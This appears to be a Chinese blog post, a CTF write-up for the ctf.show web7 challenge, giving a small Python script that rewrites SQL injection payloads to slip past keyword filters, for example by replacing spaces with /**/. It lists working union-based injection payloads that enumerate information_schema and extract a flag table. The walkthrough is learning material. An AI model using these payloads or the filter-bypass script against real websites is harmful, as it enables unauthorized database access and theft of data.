SQL注入屏蔽词替换python脚本(例题:ctf.show-web7)

适用场景

在ctf中经常会有关键字的屏蔽,例如屏蔽空格,屏蔽select等关键字。使用脚本直接完成关键字替换,避免pyload修改过于麻烦。
同时适用于linux等命令的屏蔽

常见绕过

学习链接:
https://www.cnblogs.com/Vinson404/p/7253255.html

脚本

shield=' '#屏蔽词
replace='/**/'#替换值

#and=&&  or=||
#下面是参考payload,自己输入时注释以#结尾最好
payload1="1' or 1=1#"
payload2="1' or 1=1 order by 3#"
payload3="1' union select 1,2,3#"

payload4="1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),3#"

payload5="1' union select 1,(select flag from web2.flag),3#"
#payload=input('please input your payload:\n')

new_payload=payload5.replace(shield,replace)

print('替换后的值:')

print(new_payload)

结果示例:

替换后的值:
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/web2.flag),3#

例题(ctf.show-web7)

在这里插入图片描述

这里仿真的是一个文章查看及查询的界面,它的url有关键字?id=1,可以确定为sql注入
在这里插入图片描述
进行探测,提示错误,那很有可能是屏蔽了关键字,使用脚本替换空格再放进去
在这里插入图片描述
探测成功,并且有两个位置回显
在这里插入图片描述
按照常规流程获取数据,获取时发现貌似还屏蔽了 and,避开就好
在这里插入图片描述
取得flag
在这里插入图片描述

posted @ 2021-08-22 23:44  Sayo-NERV  阅读(58)  评论(0编辑  收藏  举报